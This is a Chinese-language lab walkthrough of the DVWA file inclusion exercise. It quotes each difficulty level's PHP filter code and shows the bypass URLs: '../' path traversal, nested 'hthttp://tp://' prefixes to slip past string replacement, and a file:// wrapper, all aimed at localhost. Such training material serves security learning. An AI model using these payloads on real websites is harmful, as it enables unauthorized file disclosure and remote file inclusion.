文章目录
- 准备工作
- 1、low
- 2、medium
- 3、high
- 4、impossible
准备工作
修改PHP文件中allow_url_include=Off为allow_url_include=On,开启PHP允许URL包含;
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
查看三个file文件
1、low
源码解析:
// The page we wish to display
$file = $_GET[ 'page' ];
由于源码没有限制跳转,可以使用…/…/…/进行路径穿越;
跳转目标为下面的页面;
可以通过URL看到此页面路径为:http://127.0.0.1/dvwa/phpinfo.php,而我们所处的位置为http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php,因此需要向上移动两个目录进行访问;
跳转URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=…/…/phpinfo.php
2、medium
源码解析:
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation 输入验证
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
源码过滤了http:// https:// ../ ..\
四组跳转符号,可以采取嵌套,如 htthttp://p:// hhttp://ttp:// httphttps://s://
等多组前缀进行跳转;
创建访问目标用于验证跳转是否成功;
文件内容展示:
跳转URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/1.txt
3、high
源码解析:
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
源码限制访问内容由file开头,因此可以使用file://进行代替http://进行跳转,使用file://可以进行本地文件跳转;
跳转URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://d://phpstudy_pro/WWW/1.txt
4、impossible
源码解析:只允许通过include.php和三个file文件,限制其他操作
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}